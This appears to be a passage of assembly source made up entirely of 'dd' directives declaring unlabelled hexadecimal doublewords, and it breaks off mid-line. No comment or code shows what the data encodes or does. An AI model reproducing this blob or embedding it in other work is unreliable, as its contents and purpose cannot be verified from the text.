dd 15501BFAh, 7BA6AE00h, 0BED85A5Ch, 708D000Fh, 6516968Ah dd 9D00A59Fh, 7377F9B7h, 0B8F5373Bh, 0C6900B14h, 0D800A28Ah dd 0D4EB32D9h, 2AB0590Fh, 1AA52420h, 674E8080h, 0FC5B00C4h dd 0A23DF92Bh, 7E00E215h, 0D12EDDE8h, 0FDD435h, 0C10D30CEh dd 4D03ECE7h, 543ADE00h, 0E508B91Ah, 509816h, 0F57BD868h dd 494C35E7h, 0DE77960Eh, 9821E3E9h, 0FE418915h, 90C5E8h dd 268BBA6Bh, 0EA3DAA2Ah, 73681600h, 66B26221h, 88C8001Ch dd 0A5B5C9DDh, 0B4005BABh, 476CC387h, 7B28D0h, 2C7ADBCh dd 0CE1E9C73h, 4B13DDE0h, 7200AC19h, 59685052h, 3C2B07ABh dd 90D076B6h, 0CE51537Eh, 88F31100h, 0D76E2607h, 0E17F077Dh dd 0B9805ED9h, 4959A800h, 564860B5h, 254200CEh, 0EDFD4447h dd 0A737006Ch, 0EC8D9EBAh, 76263428h, 93803CE3h, 4F20A0B2h dd 47A900F4h, 77DA043Eh, 8A0CD22Bh, 0ECEF5E21h, 7A200087h dd 0F2652E5Dh, 6400DD1Ch, 0B4F4BCCAh, 1FAD3CC5h, 40885C87h dd 0EF1BE11Fh, 0DA003235h, 0ECE9AC64h, 0E7F19D1Ah, 0EDF03431h dd 28DB0096h, 0FA1C845Ah, 0BB98EA51h, 0EFA7C607h, 5B857201h dd 0FB6D18C0h, 30AD008Fh, 486F1652h, 28036449h, 7B06CBE0h dd 971C8C8h, 13B81DE2h, 7B7E8F1h, 0DDF95162h, 0A4E00E6Fh dd 0AF9F6742h, 60D88707h, 0B9F007DFh, 3869A9CDh, 3E309C97h dd 0E9D7B811h, 68884216h, 0BF4E505h, 0AA728200h, 9A2C1A7Fh dd 0FCC20030h, 0F9AD23B6h, 63010E84h, 0D1B0415Dh, 0F0CFC571h dd 392C5B8Fh, 7D934A88h, 6CC482Bh, 81458500h, 53A40Bh dd 8618935Ah, 0D7DA3837h, 0E6834700h, 0F8085C3Ah, 25CA00ECh dd 1A4F04D3h, 0D800856Fh, 584BD936h, 0C85BDFh, 3BA4E767h dd 72B34CFCh, 0A4ED753Bh, 14090F15h, 3C48A07Eh, 379E8FEh dd 6BC16963h, 9AC9F19Fh, 0CB10877Dh, 2AC04AA0h, 902CDBF3h dd 1CC90D0h, 59E80B2h, 0E89068EAh, 217ED37Ch, 1F2D8F00h dd 1AB108C2h, 294B3A78h, 0D1536800h, 660C19BDh, 90DFF1C5h dd 0C8AAC683h, 19959EC1h, 28174E41h, 0AB399B4Fh, 0BEC1D880h dd 14DF42F2h, 0E241F19h, 2074B2E4h, 0C2DA1789h, 285D0097h dd 900943D8h, 0B400DB35h, 51C3647Bh, 226831h, 6ED96506h dd 44C1ED1Ah, 45001CEAh, 310D9D03h, 1E6C8D84h, 8076274Ch dd 0E86F4D54h, 7A0066A6h, 884A74D4h, 3D12901h, 43F57690h dd 9AB0F97Ch, 0ED001160h, 0C6E8FD3Dh, 0FBA27Ah, 0D159AC39h dd 0AFB8DE62h, 10862603h, 0B86F1F47h, 7ADA92Fh, 9DB5B780h dd 0E0F08790h, 0FCA706CAh, 0B91E590Bh, 70020CC8h, 0E0F6DBh dd 9E3C17ECh, 2508B0D8h, 8F3D0C00h, 0A83E164Ch, 0ACE00076h dd 10DD05FEh, 5F0027E4h, 32C19626h, 0F00891h, 4F469023h dd 8F6068F7h, 29783360h, 32EF5Bh, 20219857h, 1285A4CCh dd 70118A00h, 0B8EE74B3h, 0D11F0008h, 3BE0B5F5h, 7500D61Bh dd 0C82CE2A9h, 0A8308843h, 2A6B8Ch, 17380959h, 49466A86h dd 88E9F518h, 705020h, 26A45DF9h, 0DDB7E6B2h, 0A1693C01h dd 0B949F68Dh, 0FFE9A8EFh, 0D0E7319Ch, 80948CA0h, 85C12EA9h dd 3A8AC37Dh, 4A004D10h, 88F8BA40h, 0AEE820A3h, 0A605CC00h dd 0AD280F52h, 3B710054h, 70150D66h, 2201A54Ah, 0D5DD55E0h dd 0E0E34720h, 0F689088h, 0BC5F0689h, 2D8564C0h, 0B600B01Eh dd 0A81D46Fh, 31DD0F5Bh, 0D0296643h, 19370056h, 7D28009Fh dd 0EF2B53D8h dd 2A0045CAh, 0C45A1436h, 5B3A49h, 0DB6A7C95h, 924E0878h dd 0C7B9F700h, 0A2E1F118h, 7C75B0B3h, 0F2CF00EDh, 0E2630246h dd 97076740h, 8D6AE447h, 68D2C9D0h, 0EABFF084h, 1497618h dd 4B193632h, 0DBC33A4Fh, 97FBF4D8h, 963D3400h, 0F841CAF9h dd 9BC40107h, 1CCFD1D2h, 0E8A8CFF5h, 0D830C955h, 126F1966h dd 2E41008Dh, 0AA45E682h, 8C07BF07h, 1EA29C6Ch, 80052CC2h dd 1AB3DFA0h, 0C25F0775h, 0E098BC85h, 8C718BB1h, 9078AF00h dd 5305CA8Fh, 227F009Ah, 87CE5A6Ch, 0C50E45CBh, 0BD068DDDh dd 272F3CC0h, 1326E6FDh, 0EC9AFFA5h, 0B38600BAh, 961A33F8h dd 2E3C00B2h, 0CEA4A9B7h, 720375DBh, 0DCA373ADh, 0B5C4E086h dd 53EE77h, 0B18EE51Ah, 0DA8248DFh, 0B6423C00h, 5F69D879h dd 25A4009Ah, 0A8D13E5Eh, 0A1B0F44Ch, 2257FF00h, 0E75294B6h dd 89A40011h, 0A239FCA3h, 240F99B7h, 0C53562h, 5AE270F2h dd 24A348A7h, 14063300h, 0E6EEE6Bh, 29FFEA1Dh, 130081D7h dd 7D4E3CFBh, 23EC00F0h, 0AFA69188h, 5400217Bh, 34080B64h dd 3DCF304Fh, 38004AADh, 4C47A53Dh, 0D6002286h, 7CAE70Ch dd 2FF2C0D4h, 50C05771h, 263CFBDAh, 91D5001Eh, 82CDAE87h dd 9F5900D6h, 2D633EC7h, 4C00A4E6h, 64E85E4Bh, 0B8ADAB81h dd 0DACA00D0h, 52795791h, 0A100B74Eh, 0B37360C5h, 26255396h dd 7EBC462h, 0F0FA6B70h, 4C3610F7h, 44DCEC16h, 8B1B0B00h dd 30DE393h, 52D83FE6h, 1790D363h, 4D54B379h, 0BA035F8Ch dd 623B2F97h, 0B441B8CAh, 0C2040348h, 4A3C9A93h, 7D517CD8h dd 1DE50B00h, 0BACDD808h, 85A71242h, 4170079h, 0C3112FC8h dd 0CB41380Fh, 7A00BFC9h, 0AD56078h, 0F266735Fh, 0CA870017h dd 80BF250Bh, 3D02DB18h, 4D7A507h, 0A48F40D0h, 0E2BE3B59h dd 384AB200h, 2C87EE9Fh, 1D010498h, 11B35448h, 8080DCB0h dd 929ACEB6h, 0AE1FFC1Ch, 0CD80A888h, 66FF7B18h, 0F1455119h dd 7C56BFE0h, 2B7A7Eh, 0ED44C517h, 2E79CF83h, 9A716832h dd 702C60EEh, 0C69A0101h, 0A88D2AB1h, 5EB84069h, 570013A7h dd 0A11F2832h, 0FCD92E06h, 88FC003Eh, 8B451E0Bh, 46098EE7h dd 80947B9Eh, 0A5631AA9h, 0C5D50002h, 57828C8h, 68C04B25h dd 12188BA8h, 0A294063Ch, 981A19D8h, 3B41A91Dh, 0CB07C8E8h dd 9E98F903h, 81AAE300h, 0FE621D3Ah, 0F8FBC0C4h, 401E0148h dd 8A3F7B00h, 6655D047h, 0D287002Eh, 21E66249h, 2F026E14h dd 9801CC91h, 0B31A408Fh, 0C87A0018h, 2380D3C3h, 920010E7h dd 608E5CE5h, 306A74A2h, 0AB8E283Dh, 1F04D935h, 932FC7A7h dd 0E39050C0h, 71593888h, 0DA849Ch, 0C410C11Eh, 0F706F076h dd 464A0635h, 0D11800E8h, 0A1DD82C0h, 0C2002802h, 1B3D988Dh dd 0FC80Eh, 2604B7D3h, 84236FF2h, 352AB000h, 5BB9622h dd 955000AAh, 8BD8D8Ah, 0DE000FC3h, 0C411C9A0h, 0E4AE3A5Fh dd 0A40A3BF5h, 0DE90A0FCh, 2001008Dh, 7024C139h, 150142FCh dd 4718AE30h, 71E502A9h, 0B8E5E4ECh, 0D0CE03EEh, 0CAA0383Dh dd 8C014BC8h, 0EB72DC1Ch, 20078B0Fh, 46A974C0h, 0D9A326DBh dd 0A2E8008Bh, 7342099h, 0EC522E07h, 21A0D656h, 0C3D4EBEFh dd 0F3FBA484h, 0DF9AC398h, 48F75839h, 771E079Ch, 1163732Dh dd 0C32800FDh, 0DD1AB095h, 55006A8Ah, 7B2F163Ah, 0AA6D03h dd 0E06EE1A7h, 0C449727Fh, 9040FF02h, 4832921Dh, 881058h dd 0C641ECFDh, 3353F944h, 0CFD38900h, 22AE81B2h, 0D04E0007h dd 46D93F7Ah, 0D2418FDh, 5180602Ch, 44A7FF37h, 0E2A200CDh dd 0A68B257Dh, 4200B96Bh, 465C8AB4h, 3F93A7BBh, 75DDE5h dd 0FB1DF2D5h, 0F9AFCD9Fh, 8366A00h, 0B9AE1F14h, 38880025h dd 0A3B5156h, 424CDED1h, 80333C4Fh, 0E1252A04h, 36B85A6h dd 482C5BF5h, 0EC80788Eh, 1216AB45h, 1600370Dh, 696FD302h dd 549A7Ch, 81FA5B4Ah, 0A81141E0h, 84C0E500h, 0F0557D80h dd 0D3A9260Fh, 0B7D701E5h, 0E84E42A7h, 4C7D0BC3h, 5DE33900h dd 7B6E553Eh, 0EABF005Bh, 6775D2CCh, 7A2CE2C7h, 0FA079472h dd 0E7C0475Ch, 504E29h, 0B131FFC8h, 0CC6C8A71h, 0B870163Ch dd 0FED5821Ah, 0EB3D9545h, 0ACC7E148h, 10E2440h, 75C81D66h dd 5EDE0190h, 0C0F06E95h, 8F03854Eh, 11634077h, 0B7C5C019h dd 200F006Fh, 0AA62ADFAh, 2051506h, 0F3C8A1FFh, 9874B4C0h dd 79230366h, 3FFA46A6h, 820DA2F8h, 64D160CAh, 8C0C4E4h dd 6EA422h, 77A7518Bh, 86F00C8Dh, 24A8A154h, 5D79EC13h dd 804C3E0Eh, 85654BA0h, 869C000Dh, 0BDDAAFEBh, 72E6F25Ch dd 0A309DF2h, 0C57AAEBBh, 0E8450082h, 557F710Dh, 3601C698h dd 2A9010A7h, 8F45759h, 0F77500FFh, 0A365C738h, 0F900EAD8h dd 86691D2Bh, 51685Bh, 0CEA28056h, 0CD0B2D73h, 6D1A9804h dd 1AAA95Eh, 6495E2A8h, 21ECE825h, 45ED9A13h, 218FB70Eh dd 4643E306h, 88C6F8h, 0F19E60F8h, 86A02E7Eh, 99C1AB00h dd 1C1072FFh, 0A5E40506h, 40310A27h, 3BC66AD8h, 320AFEBAh dd 0C8C70419h, 2152303Ah, 3BDF98h, 8A2F5679h, 80228439h dd 6F897A03h, 873AFF74h, 93090630h, 18A36594h, 0A6F2814Eh dd 7066F002h, 91F1890h, 7E1437B5h, 618D48EBh, 1CAD2A61h dd 0D3007028h, 1E207FA8h, 3400DC6Ch, 441BA75Dh, 48B9086Fh dd 0FF06125Fh, 68991D9Bh, 0F3038C7Dh, 0D87D2476h, 0E2F1F1A9h dd 26385980h, 0A775104Ah, 85C76900h, 4FD08F0Ch, 94403FD9h dd 0CF186B58h, 822B18DDh, 500AC7Ah, 97A56788h, 7D3596h dd 0E73119F8h, 0B110FAB4h, 57BC6600h, 65029A3Dh, 23DD0098h dd 277BD4F1h, 61E66E4Ah, 0A9FCFB09h, 6FFA80CBh, 0F54CBDh dd 0D28A8C20h, 0C12AE102h, 0F0030AFEh, 2C1FE048h, 0C3FA8890h dd 0B46C00BAh, 30DF79DEh, 3D003FB1h, 56341D22h, 3B2BC1AEh dd 79000FB6h, 4CAAB84Dh, 5B0E4427h, 8048A9E6h, 49D1B59Dh dd 66810087h, 0D0BA9441h, 0C912EF90h, 0BF0082DAh, 9BCB0984h dd 60DD000Fh, 39B22C20h, 0CF09D1B7h, 6AC872h, 0D95D0E4Dh dd 6F2F00E9h, 0F86D4C07h, 9B00B3A3h, 6E193F8Bh, 9F5DEAh dd 88CA4838h, 1ED53705h, 0A50A7802h, 0C2EA6D1Dh, 1035C385h dd 1C4F7A30h, 9BC0ABD2h, 1ED702B2h, 5E82006Dh, 0DDB14CCEh dd 0C560E222h, 7251628h, 0F7450056h, 8E509DAAh, 5F019E8Bh dd 0FC31AFD6h, 6EC7ECAh, 0C5DC05EEh, 83B7441Ah, 3007EC20h dd 0DA87B6B5h, 0F6435EF0h, 0A8314B9h, 0A91B9094h, 2848F022h dd 30AB3064h, 0FA021B3Eh, 2DC30003h, 4638F2D7h, 4100E7B1h dd 69FEA76Bh, 51C49Eh, 449BCCB4h, 6EB640C9h, 0DC27CB00h dd 34EE26EDh, 2ED4001Bh, 207A175Ch, 4E7B83B5h, 30001FF4h dd 85FEE802h, 1DF5B2D2h, 0C356127Dh, 3E1E6FADh, 21350930h dd 1241D5h, 3ECC6ACh, 8A7EC5FEh, 0F99C6D00h, 0DFE2D30Bh dd 98B40C3Ch, 5A1009BCh, 628FB801h, 3557E582h, 211816D3h dd 70820EE1h, 6380F043h, 0E8C13DE2h, 0BE688184h, 5822BC02h dd 95103EF3h, 6EB01070h, 517280D8h, 7A3CE4BFh, 663E98C7h dd 216C085Fh, 0BF396500h, 3E556B29h, 0B92B196Fh, 30F46163h dd 6C0062E2h, 0E82C8DEFh, 1C4B630h, 39056B1Ch, 0BBBCB0CBh dd 6CA30C49h, 0F556B823h, 0D0B2F0E5h, 55306A90h, 3DE808BFh dd 5664D567h, 0BF5D9140h, 0A507B349h, 0CA7C31Fh, 97470540h dd 38EE5001h, 7F630018h, 11F0F560h, 0ABF8A1A7h, 2501C274h dd 0CCCB6FF1h, 799C30A6h dd 77007D24h, 9FF336Dh, 0FE746302h, 219E6Bh, 8DB76FB1h dd 374B3EC3h, 2FCC868h, 33C80CCDh, 6A71D4A0h, 0A600FBA5h dd 7294C2B2h, 0D9059Bh, 0D4904EA2h, 34C13A02h, 0B00B0F00h dd 0A6C05E66h, 0EFE100ACh, 81E75BBh, 4A7744Dh, 0CB68F877h dd 4E11BC60h, 4DE89h, 396A79A9h, 453236D2h, 86915A0Eh dd 3D1978C0h, 0A2F610BDh, 90741050h, 1F4D600h, 63DC4D05h dd 0E74608DFh, 60395088h, 1003794Eh, 8B00C524h, 4B5AA4C2h dd 0E2026EBh, 7535BC31h, 1D80C36Fh, 0A3CDB268h, 4EB6D60Fh dd 16B100EAh, 0CFF887Fh, 0A44360A6h, 0BB015550h, 0FE4D073Dh dd 0C0CCA33Ah, 3480513h, 8681EBh, 0ED3C7540h, 5A0E465Ch dd 80D2C821h, 878DFF1Eh, 64983F5Eh, 55096083h, 0C03B0E7Bh dd 0B89CB75Ch, 601E0FCFh, 50EB80D8h, 0C3EA0070h, 0D6A2643Eh dd 855096A8h, 57618334h, 138D3CF8h, 8609DE10h, 9BA50800h dd 0B81E50E9h, 0F19F854h, 0D043AF48h, 0A4910720h, 7507DE2Fh dd 3CD4A86Ah, 0C3010340h, 452B1FBBh, 0C19F0068h, 1DDF0924h dd 0B566110Ah, 0CA80AC43h, 0B35DE72Eh, 0E1E8A95Ah, 58C92C4h dd 0AE749359h, 70FC20E2h, 0C830CB32h, 3842C0C0h, 904900E5h dd 0BDA8E7A4h, 0C30A6A81h, 982A093Dh, 0FE928E38h, 24B1AA48h dd 11325CE4h, 7251B721h, 0A7399050h, 42DF07E7h, 6066944Fh dd 0A104FA09h, 0B9159E00h, 0D5E0415Ah, 3C8E822h, 71254314h dd 900AC2E7h, 0FC0A6650h, 0FF469200h, 0F193BCh, 0E4DBE82Dh dd 0A283CA09h, 0C20503ECh, 19FAED81h, 61CBBC02h, 58B08868h dd 88DF88CEh, 398612D0h, 28874Eh, 204B35D2h, 0C79D3C7Ah dd 10804649h, 0AD0292C8h, 4FDD1D1Bh, 216BBCA0h, 7D50E8F3h dd 0C600AAE0h, 8880B692h, 1FBA76CBh, 464A1C32h, 186BC2C1h dd 0B0253407h, 0ABB0B749h, 0CEF8FEh, 3AF44361h, 0AF7A9B08h dd 2892BF7Ah, 0C56C1F07h, 9E724B6Fh, 0F6744408h, 88B0AA41h dd 0EAF3F490h, 7D7523D3h, 0C07D8EA2h, 48AF5BBFh, 0A980EC1Fh dd 97A17592h, 1CF6D812h, 0FCA82C5Fh, 0B9081624h, 0F989F200h dd 568CD452h, 0F010347Ch, 0D6BC1D7h, 0E2D88C6Ah, 7470C9B7h dd 9381CC20h, 98F67610h, 9C065128h, 3B448D00h, 0FBB32C1Eh dd 0C3D20097h, 0BFE76E84h, 7509FFFAh, 20A401D6h, 0A0EA4A6Ch dd 8FF600B6h, 70AF891Dh, 9300F3A8h, 0E7831FC5h, 0A15B549Eh dd 0E5E5C388h, 2BD18881h, 455206DBh, 10D40A5Ch, 4E8CA4ECh dd 0CA1125A0h, 9315687Ch, 1390394Eh, 4000576Bh, 0CF122ADBh dd 0E1A8FAFDh, 81A6C0h, 0E7D94F8Bh, 8486C9B6h, 4A02B9DEh dd 0A07CE84Ch, 0DAF79E80h, 9246E4C3h, 8A880120h, 511C1F7Fh dd 0CD809E7Bh, 0C8938CB9h, 33F4A907h, 3048E9E7h, 3184B900h dd 94FFFB8Ah, 143350C8h, 0E098003Bh, 0D495E621h, 2218DAACh dd 126875D5h, 9F80C74Ch, 1986C6A7h, 0F00E9DFh, 3AE73687h dd 0FC7802h, 512EEA72h, 6A14DF88h, 0C9C3CD00h, 0B5421976h dd 9CDD4928h, 7E32040h, 0F7BD0C87h, 0A56A6332h, 856C4388h dd 0B14C2630h, 2157AF5h, 0A4D59AA2h, 604BEACCh, 0DC8081B2h dd 112D9E9Bh, 68757B0Eh, 56802074h, 0E0CE5BF4h, 637A33C3h dd 589BE030h, 0FF39CDD8h, 1FF63B13h, 93E51002h, 45E89086h dd 702E00E0h, 0A2F3CC48h, 0E658A985h, 44DF807Ch, 2A0D641Dh dd 0F8FC75B2h, 1789ABCh, 72FCCB93h, 0D34CC469h, 0ADB094EBh dd 0A0488712h, 0B22C0020h, 7A102D5Ah, 2688EA57h, 2048A86h dd 0E5E135D0h, 41B0F088h, 47412D93h, 6403D2E4h, 3C1FB883h dd 7F4902C0h, 8558F302h, 62DDF15Bh, 9350908Ch, 3BC00243h dd 7B3449A5h, 0A61FE700h, 0DFFC2894h, 0B91203B0h, 43CFA79Eh dd 9B87B290h, 80C0F092h, 7A3786FFh, 0D3CA0003h, 25DF3188h dd 4E0216EDh, 7B3850F4h, 9FD080B8h, 9228EB7h, 6F3BB49h dd 85F23D80h, 0F5593D52h, 5BCE029Ch, 0AA280EC8h, 6487E894h dd 0DE2C093h, 986AE1h, 7C4306B8h, 0EC30CC76h, 9F002D41h dd 84F1AB8Dh, 0E20ACCh, 0AEAA01B2h, 22F00929h, 0BAC7933Fh dd 90661E37h, 0FDA1F80h, 8D2DBBh, 0B6B87588h, 0E9A91312h dd 5084A307h, 8740E84Fh, 636A4Eh, 0A8E30BB2h, 0E7385298h dd 806E713Bh, 6415AA0Fh, 2674751Eh, 50E07E46h, 64820E48h dd 18862480h, 29AD8FFCh, 0D84D0664h, 9CB98528h, 4E72042h dd 0B2348287h, 3804C0A9h, 480B20B6h, 248C90E9h, 466855DCh dd 0FA482188h, 2B3F04A0h, 4C00574h, 20C895F6h, 0B44C09C3h dd 61B3CD20h, 0F3881E8Ch, 8F1AF28h, 3DFA3E3h, 13F44C50h dd 0B105C81Ch, 9BC93642h, 89DE64C0h, 36287C8Ah, 78A98F1Ch dd 772C30FFh, 0A44C3D54h, 4CF7709Dh, 7084543Bh, 0C6EC816Eh dd 9238F112h, 0FC5EE719h, 2FC7B1B0h, 5721F11Bh, 24202B61h dd 0E015005Dh, 976050F5h, 0A429DE92h, 26885Ch, 567CE660h dd 0E0B90988h, 0AC92BE03h, 33017446h, 680A2015h, 2866BC5Ah dd 0E2923E0Eh, 6E340052h, 0B6EB4FB2h, 0EC40CCAAh, 14B88C75h dd 68437E26h, 85DFB960h, 0C29415C6h, 4105BC8Eh, 0C0B0BAD0h dd 3C747848h, 6890C3F2h, 0D364A100h, 0FB131FADh, 82499B6h dd 0BB045CF8h, 2490C486h, 13B7E9A2h, 70AA06EAh, 55024268h dd 0CFE65B02h, 0A9D9D581h, 11502FE4h, 0E751CA03h, 1040FBC7h dd 1C94224Ch, 510EC38Ch, 7B53F219h, 2C88F23Eh, 0AECB78Dh dd 245C0885h, 7F34010h, 2EF053C2h, 0CDDB7E03h, 0DA384F11h dd 89C04894h, 84ECAB55h, 1D881880h, 6AF3125Fh, 0D9802059h dd 0CA0507F6h, 1BFF2B65h, 585A6C41h, 29804964h, 41CC79F4h dd 4814BA1Ah, 0CCBC5946h, 16B040h, 0F3A606E9h, 0B3CF808Ch dd 0D414430Ah, 64F018BBh, 803500DCh, 9E9DD62Ah, 5A1DF415h dd 0B27B88E4h, 0C81EF123h, 0FE14E0h, 0B8BC0C1Bh, 0B2FFF5D6h dd 80194300h, 67E9EBC3h, 90C977A1h, 0E0E648B7h, 0ACE42183h dd 0AFA8C0C4h, 40A39F75h, 77FE93D0h, 0A13CD470h, 0C4AE2E3Ch dd 8ADFA058h, 3F01F8E4h, 8A337FEh, 44C6E84Eh, 1E031C50h dd 182BE2Fh, 90E1CEC2h, 55920CC8h, 0BB43BB3Eh, 0A8E99FE3h dd 4116AF02h, 1FBCE0B5h, 8EF612E1h, 931403D6h, 890094C2h dd 45B16541h, 55861F5Dh, 9FF8ECC1h, 9E8816E2h, 0BD6C005Eh dd 5495EFDBh, 0DF3C3800h, 0A46F4DB1h, 21891D1Fh, 974CE005h dd 387B30B4h, 12CA5AAh, 0B9EFD94Eh, 606D3CD6h, 5A709F9Ah dd 0C9D07E50h, 23087C52h, 8BA300BBh, 731825EBh, 3F4F743Eh dd 3BAB05A0h, 6C81B775h, 0BBCC8995h, 4E460547h, 4769B8F3h dd 0D484B320h, 426880D9h, 0B8126DDEh, 9CC050E9h, 1B27559h dd 0EA41230Dh, 0FB09A171h, 0A4AFD009h, 0A90848C5h, 79491A33h dd 0FC4818B7h, 428654A2h, 0E6FCC4E1h, 20986B0Bh, 587DA90Bh dd 8062C0A2h, 0A741A448h, 0A601A414h, 0EABD0ED8h, 0F04252F6h dd 50DBE817h, 883E5D20h, 0DC8924h, 0A3122F1Dh, 0D928DDD7h dd 7839C009h, 0E295925Eh, 7EC6A500h, 0C0B671A4h, 6A75B9F0h dd 3C60C37Dh, 0F3BC01A8h, 0D2CC7494h, 0A55609D8h, 204B4C21h dd 40BAE5DAh, 946A6B94h, 73CC13Ah, 0C9910167h, 935E0600h dd 0E14F148Bh, 6BC8086Dh, 90F21C0h, 0A5D812C2h, 3B0C002Fh dd 0B3C8D415h, 567ADA1Fh, 44C6B1CAh, 0B169DB70h, 164ED4h dd 4FC5A3C8h, 0D04801C6h, 8770137h, 0F93B7F85h, 39906C61h dd 0DCBB80B8h, 0B1F65CCBh, 566E01C4h, 48613585h, 7216E8D0h dd 0E7128D80h, 690AC0CAh dd 21D4FCCCh, 0B04B95CCh, 179785B5h, 0F10445A4h, 6A402C0h dd 4448A701h, 0A207755Ah, 9674303h, 0DF1257E0h, 2108A6BEh dd 9F8442B0h, 7C9569A0h, 3B41B040h, 0F094713Dh, 20845C81h dd 42A32612h, 75B13A68h, 0F3451200h, 0A0A0904Dh, 257D35FCh dd 0DC94612Dh, 16D8FC20h, 43253034h, 7A9250A0h, 78D52812h dd 0CF136020h, 0A850016h, 0A369AA07h, 0F00A5F1h, 92B33F3Bh dd 1343FF49h, 0E0A8E1h, 1B1E1850h, 0A10F353Ch, 8DABB6D6h dd 0A5D469F7h, 13F3F2A4h, 966D714Fh, 0B0AC2860h, 5EDCC20h dd 26D03DAEh, 3D4D806h, 122495FAh, 0C58444E9h, 0E0C3D0B3h dd 6A0AE369h, 310AA18h, 85681EACh, 0FC9D65D0h, 5D675B01h dd 200A2B99h, 9AD46FF8h, 85BD0E1Ch, 67010DADh, 0FCD76C1Fh dd 6CB2516Bh, 86AFF824h, 96283D0Eh, 809B4849h, 0EDFF12CBh dd 411F00F8h, 0EA7B5059h, 0FA01CEC3h, 5EA88880h, 0C04A7162h dd 902BBC14h, 8693E702h, 4CE0BE04h, 0DF005AC5h, 0E9AF72ABh dd 64F9EA70h, 91CB382Eh, 509509A0h, 7B596C18h, 8C1130A5h dd 49564204h, 0D3C09038h, 8300F667h, 5A0F7C6Bh, 0E05EDF8Ch dd 24270415h, 0F0917E71h, 970F0C50h, 29D2CEF1h, 8588E05Fh dd 78BC6764h, 78A1C239h, 18800C87h, 897BC60Ch, 945E0CC1h dd 1A11A4C8h, 0D6C100B6h, 3CEE452Eh, 3A526100h, 50EA0665h dd 6D50B529h, 0A401095Ah, 823FD6AFh, 18D878A0h, 113EED92h dd 2E0C3543h, 81AE8631h, 0A966121Dh, 689400E3h, 0A3D1EA52h dd 0AF93FCA0h, 24DAD89Fh, 9D80E81Ch, 6F91056Ah, 5E7CC047h dd 6CE975ECh, 0F6438168h, 8A6073ADh, 1434B85Ah, 8875525Ch dd 9CC8F100h, 0E2C9AFB4h, 0D56420F9h, 0F7B3EE01h, 5A33041Ch dd 94342988h, 0AB800C01h, 54E0EF7Fh, 40F40031h, 8FF3B770h dd 85018845h, 0A6EBBA9Eh, 0DE873E2h, 1277507h, 0B5370B40h dd 0F0BF2ACBh, 420002E8h, 0A6C7E17Eh, 14C4525h, 0ED0B46B4h dd 0C08A17AFh, 2004B9Ah, 4DB5872Bh, 0E645A7h, 15180D54h dd 2E0356DBh, 0FF019D70h, 2FC5FBC4h, 97C8A29Ah, 1312008Dh dd 0E8C14EACh, 4100A3A8h, 3A878525h, 7BF4Bh, 58510B39h dd 8DE5DC50h, 9169E31Ch, 71D5CFC3h, 7C90C554h, 501D0572h dd 1850AE09h, 60EB3B08h, 76073C20h, 0BC405E7Ch, 0F4DFCBF0h dd 13770761h, 809C2723h, 45ED1BE0h, 75F38E00h, 0D2BAE1BDh dd 0B3CC0309h, 5C9C29A2h, 0EF03EBE8h, 0FFC67000h, 65E1070Fh dd 128B0E6h, 4416C1C3h, 0C871D94Ah, 4E099643h, 3BBBF1h dd 0E2A5B714h, 0DD5200B6h, 0C3307145h, 0AC7022CBh, 0B797C01Eh dd 0B46C17C0h, 0FE4E994Bh, 5FAA0EC4h, 2F40D43Ah, 4666BBEBh dd 0F66FC80Eh, 2BF800A1h, 1C74156Ah, 0C7BFE7h, 0ACFC2777h dd 4A0033E0h, 0ADD4C939h, 36F6B3Ch, 0D3EBD01Bh, 0D09FEC1Dh dd 291A48DAh, 2B7F58h, 0FA4347Ch, 0F5FA0BDh, 0A5BAB090h dd 25B36F80h, 0DF28C664h, 387DABC1h, 801FEA02h, 82D4398Bh dd 8034E7BCh, 0C2443EA5h, 0B97A55h, 6BE63A6Ch, 0B4618C35h dd 0CAF32E00h, 0BB947FD6h, 68A800C3h, 4D651924h, 0AE00A2EFh dd 76901BDBh, 480FD031h, 80073402h, 90FBBD2Bh, 63C41394h dd 960F84E2h, 2046E738h, 0A98DDF55h, 0C5A61882h, 0BCA4E226h dd 188C840Eh, 0CF5C0020h, 7125A9h, 3AE17A33h, 86D34561h dd 0CD4AB23Bh, 4D960F2Ch, 358BE06Ch, 8EA45Ah, 8AB96E32h dd 0F719CA89h, 0CC5B2B01h, 0FB1F9961h, 0EF005ABFh, 0CE6E6893h dd 0EB1D7BFCh, 0D4474E35h, 0A02F5354h, 32B6A8FEh, 78140040h dd 132B8498h, 8D003963h, 0B2E05F87h, 54D6CFh, 414A2637h dd 0E53BC87Eh, 6C7BE81Eh, 744D680Bh, 0AE6700E6h, 60F4B656h dd 95085F02h, 40BAD07Ah, 0E7A525h, 0D70776EFh, 0CAA8279h dd 0C6F6389Ah, 561F0C92h, 6E00B505h, 9B36762Fh, 68230488h dd 8038391Bh, 46AF4CB0h, 67701500h, 0A0D5AEA4h, 0E6CD3C22h dd 8DE9C980h, 52135BF2h, 0F492F000h, 588424FBh, 0E1890F01h dd 0B9604272h, 60AE3350h, 0BA379002h, 0C8825C6Fh, 7E128020h dd 250A04F6h, 0C09095A9h, 96578EEh, 2BF21B00h, 507B6066h dd 0CFCCED49h, 8E9B3C42h, 4FF99D80h, 323FFDD6h, 9CAEC900h dd 34C712A9h, 0AA500017h, 8CC8CB35h, 9400648Fh, 0FCF13E01h dd 0E37F444h, 23726E8Bh, 30064340h, 0D448B43Dh, 39E3FE9h dd 14DB571Ah, 579B858h, 3DF00EE9h, 93A2D0B7h, 0DC709BEDh dd 43C85700h, 0AD7C2DBAh, 63D000A7h, 0B3CBC227h, 28002BA0h dd 0D40AFBE4h, 78E37AEBh, 0F2EE64h, 0CE1A7431h, 0E6C7DB0Bh dd 588F6901h, 40576BDDh, 13D4E020h, 2128014Bh, 7F532FC0h dd 14CEDF0h, 0C7FEBF5Ch, 7B5424F3h, 0E2D190A0h, 7B980A42h dd 8EC514h, 6F5E53B0h, 5A009CAAh, 3FB3AC69h, 160171h, 27D0F72Fh dd 0FFB661D7h, 8D3630C0h, 37B8C4h, 0EF8925F0h, 0D5A93972h dd 8C0A101h, 7EF7CFC2h, 50EDA2FCh, 4ABC50h, 8D8A6B13h dd 78C9803Eh, 0CD9FCC2Eh, 3518D703h, 7780840Ah, 72B3F2F4h dd 0B5D600FBh, 57176E6Bh, 0B180428h, 18BADDE0h, 118F0006h dd 0DC61CD4Ch, 6C09BBC9h, 0E83F1289h, 1CE4DFCh, 8C26685Ch dd 0DC2B16A9h, 3602DC4Ah, 0E6E26AB1h, 2D746818h, 46520798h dd 10A7F135h, 787D2B8h, 0D1562400h, 393BCFA8h, 9F7CAAh dd 3379F7B5h, 0D45C2CB6h, 0D8985203h, 984585F4h, 8126A2h dd 0DA6F6CA8h, 